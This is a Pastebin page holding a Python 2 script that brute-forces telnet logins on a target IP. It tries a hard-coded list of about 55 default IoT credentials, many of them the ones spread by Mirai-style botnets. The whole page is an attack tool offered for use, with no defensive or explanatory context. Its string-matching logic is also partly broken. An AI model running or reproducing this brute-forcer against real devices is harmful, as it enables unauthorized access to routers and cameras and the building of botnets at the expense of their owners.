Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, random, sys, time
- if len(sys.argv)<2:
- print "Usage: "+str(sys.argv[0])+" <ip>"
- sys.exit(0)
- ip=str(sys.argv[1])
- def createConnection(ip,port,t):
- sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- sock.settimeout(t)
- sock.connect((ip,port))
- return sock
- def isLoginRequired(data):
- return (data.index("Username:")>0 or data.index("username:")>0 or data.index("Login:")>0 or data.index("login:")>0)
- def isHacked(data):
- return (not (data.index("ailed")>0 or data.index("nvalid")>0))
- cracked=False
- hash=[]
- hash.append(('admin','admin'))
- hash.append(('root','root'))
- hash.append(('root','xc3511'))
- hash.append(('root','888888'))
- hash.append(('root','12345'))
- hash.append(('root','123456'))
- hash.append(('root','54321'))
- hash.append(('root','vizxv'))
- hash.append(('root','default'))
- hash.append(('root','xmhdipc'))
- hash.append(('root','admin'))
- hash.append(('root','juantech'))
- hash.append(('root','1111'))
- hash.append(('root','pass'))
- hash.append(('user','user'))
- hash.append(('admin','admin1234'))
- hash.append(('root','1234'))
- hash.append(('root','password'))
- hash.append(('admin','1111'))
- hash.append(('admin','1234'))
- hash.append(('admin','12345'))
- hash.append(('admin','123456'))
- hash.append(('admin','111111'))
- hash.append(('admin','1111111'))
- hash.append(('tech','tech'))
- hash.append(('root','00000000'))
- hash.append(('admin','pass'))
- hash.append(('admin','meinsm'))
- hash.append(('root','7ujMko0admin'))
- hash.append(('root','7ujMko0vizxv'))
- hash.append(('service','service'))
- hash.append(('admin','7ujMko0admin'))
- hash.append(('admin','54321'))
- hash.append(('admin','smcadmin'))
- hash.append(('root','666666'))
- hash.append(('root','klv123'))
- hash.append(('guest','guest'))
- hash.append(('guest','12345'))
- hash.append(('admin1','password'))
- hash.append(('666666','666666'))
- hash.append(('888888','888888'))
- hash.append(('root','klv1234'))
- hash.append(('root','Zte521'))
- hash.append(('ubnt','ubnt'))
- hash.append(('root','hi3518'))
- hash.append(('root','jvbzd'))
- hash.append(('root','anko'))
- hash.append(('root','zlxx.'))
- hash.append(('root','system'))
- hash.append(('root','ikwb'))
- hash.append(('root','dreambox'))
- hash.append(('root','realtek'))
- index=0
- sock=createConnection(ip,23,5)
- time.sleep(1)
- data=sock.recv(1024)
- while cracked!=True:
- try:
- user=hash[index][0]
- password=hash[index][1]
- if isLoginRequired(data):
- sock.send(user+"\r\n")
- print "\033[32;2mlogin sent ("+user+")\033[0m"
- time.sleep(1)
- data=sock.recv(1024)
- if data.index("Password:")>0 or data.index("password:")>0:
- print "\033[32;2msending password ("+password+")...\033[0m"
- sock.send(password+"\r\n")
- data=sock.recv(1024)
- time.sleep(1)
- if isHacked(data):
- print data
- cracked=True
- else:
- print data
- cracked=True
- index=index+1
- if index==len(hash):
- break
- except KeyboardInterrupt, SystemExit:
- sys.exit(0)
- except:
- sock=createConnection(ip,23,5)
- time.sleep(1)
- data=sock.recv(1024)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement